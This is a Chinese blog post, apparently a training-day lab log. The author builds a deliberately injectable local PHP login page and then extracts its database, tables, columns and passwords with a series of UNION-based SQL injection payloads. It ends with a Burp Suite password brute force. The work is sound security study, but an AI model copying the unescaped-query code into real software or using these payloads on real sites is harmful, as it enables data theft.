mysql 密码注入_简单sql注入与密码爆破

简介:Day3的练习题和作业

简单sql注入

(自己搭建一个页面注入)

页面搭建

使用phpstudy,在WWW目录的index.php中进行代码修改

在localhost界面下,即127.0.0.1打开默认显示index.php的页面

该页面有如下要求:

使用Post方法传递参数

链接之前自己已生成的数据库

字符型注入页面,要求是post传递的参数,输入id,显示username,age,sex

代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

Enter your id:

/*在这之上html代码,实现的文本框输入,使其能够以post方法传递参数*/

if(empty($_POST['id'])) die; // 防止返回错误信息

$id=$_POST['id']; // 接受id表单提交的值

$conn=mysql_connect("127.0.0.1","root","root");//进入mysql 主机,用户名,密码

if($conn){

echo "Connecting is ok!
";

}else{

echo "Connecting is not ok!
";

}

$db_selected = mysql_select_db('ckf',$conn);//该函数可以设置活动的MySQL数据库,相当于选择一个数据库进入

$sql = "SELECT * from ckf where id='$id'";//定义sql语句

$result = mysql_query($sql,$conn);//执行sql语句后返回给result

while($row = mysql_fetch_array($result)){

echo "username: ".$row['username']."
";

echo "sex: ".$row['sex']."
";

echo "age: ".$row['age']."
";

}

/*mysql_fetch_array函数从结果集中取得一行作为数组,返回根据从结果集取得的行生成的数组,如果没有更多行则返回false*/

/*while循环目的是为了遍历数组*/

mysql_close($conn);//关闭数据库

?>

sql注入攻击

1. 判断注入存在与否,判断注入类型

第一幅图

3c16c36d087fdf7e3b5da61070bb3227.png

第二幅图

604a8358f8df5ed630c4eec404c1841d.png

第三幅图

8fe0fb9d52c6ce31647dd5352de852d7.png

由上述三图可以看出,永真式成功,永假式失败,基本可以判定注入存在且为字符型注入

2. 猜解SQL查询语句中的字段数,为后续union select 做准备

图1

87f453c807231a7a67f3b960a79ed98c.png

图2

7d16c0e70ea401390df7dce6e9c66543.png

图3

7b135023374b1486853a3e19b0d8202b.png

可以看出,order by 6成功,order by 7失败

说明执行的SQL查询语句中有六个字段

3. 确定回显字段顺序

ec0add330b401eb85818f1c391188ddf.png

可以看出,返回的是该表的第二、四、五列

4. 获取当前数据库名称

f416d75396b77be621a3895bf52bd0e7.png

具体输入:

1’ union select 1,database(),3,4,5,6 #

当然,database()在4或5位置也可以

因为在第2位置,所以username显示的结果(ckf)就为库名

5. 获取当前数据库中所引用的表名

87385078d1a0fe4923ab4178722d0627.png

具体输入:

1’ union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() #

同理,username显示结果(ckf)就为表名

6. 获取引用表中的字段名称

f69430bbd00f92e32854327c63735be9.png

具体输入:

1’ union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name=’ckf’ #

同理,username上显示的信息就为表单所有的字段

7. 得到目标数据password

0ca3ac88197aa2a340e9920ff8c4c324.png

具体输入:

1’ or 1=1 union select 1,2,3,group_concat(id,username),group_concat(password),6 from ckf #

sex一栏为username

age一栏为对应username的password

password.txt 使用Burpsuit爆破密码

1. 右键源码发现最下面有个

9d235d42e657a7543094273e85b096e3.png

怀疑藏有别的目录,于是将password.txt这一字符串替换index.php

44370fb1a630d44ff7c6d95142dbe040.png

发现有许多的字符串,正确密码应该就在其中,将文本复制下来保存

2. Burpsuit截包

随意输入一串密码后点击确认,使用Burpsuit截包

e5ba8283014b8784d3cb12411d73bc3c.png

随后send to intruder

4b38d7c204723278e587547b0346693c.png

修改完需要爆破的参数后Load之前保存下来的密码文本

f8ff679514f812f2a848ea871e2f4262.png

start attack后发现长度不同的即为密码

8216b81626cebb1a3589b3015bb71777.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值